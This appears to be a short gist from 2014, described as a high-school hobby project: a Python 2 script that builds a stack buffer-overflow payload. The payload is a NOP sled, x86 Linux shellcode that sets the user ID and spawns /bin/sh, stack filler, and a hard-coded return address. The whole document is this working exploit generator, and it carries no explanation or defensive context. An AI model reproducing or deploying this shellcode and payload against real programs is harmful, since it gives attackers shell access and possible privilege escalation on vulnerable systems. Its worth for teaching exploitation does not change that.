Created
April 22, 2014 15:16
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Stack Overflow (for fun during highschool)
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#!/usr/bin/env python | |
# -*- coding:utf-8 -*- | |
MAX_SIZE = 512 | |
NOOP = '\x90' | |
# Spawn a shell | |
SHELL_CODE = ( | |
'\x6a\x18\x58\xcd\x80\x50\x50\x5b\x59\x6a\x46\x58\xcd\x80\x50\x68\x2f\x2f' | |
'\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80') | |
def get_shell_code(return_addr, stack_vars, noop_phase=0): | |
''' | |
:return_addr: the return address we want to point on (typically on the noop slope) | |
:stack_vars: vars that are on the stack to override | |
:noop_phase: additional phase for the noop slope | |
''' | |
noop_slope = NOOP * (MAX_SIZE - len(SHELL_CODE) - noop_phase) | |
return noop_slope + SHELL_CODE + stack_vars + return_addr * 4 | |
print get_shell_code( | |
return_addr='\x90\xfa\xff\xbf', | |
stack_vars='\x01') |
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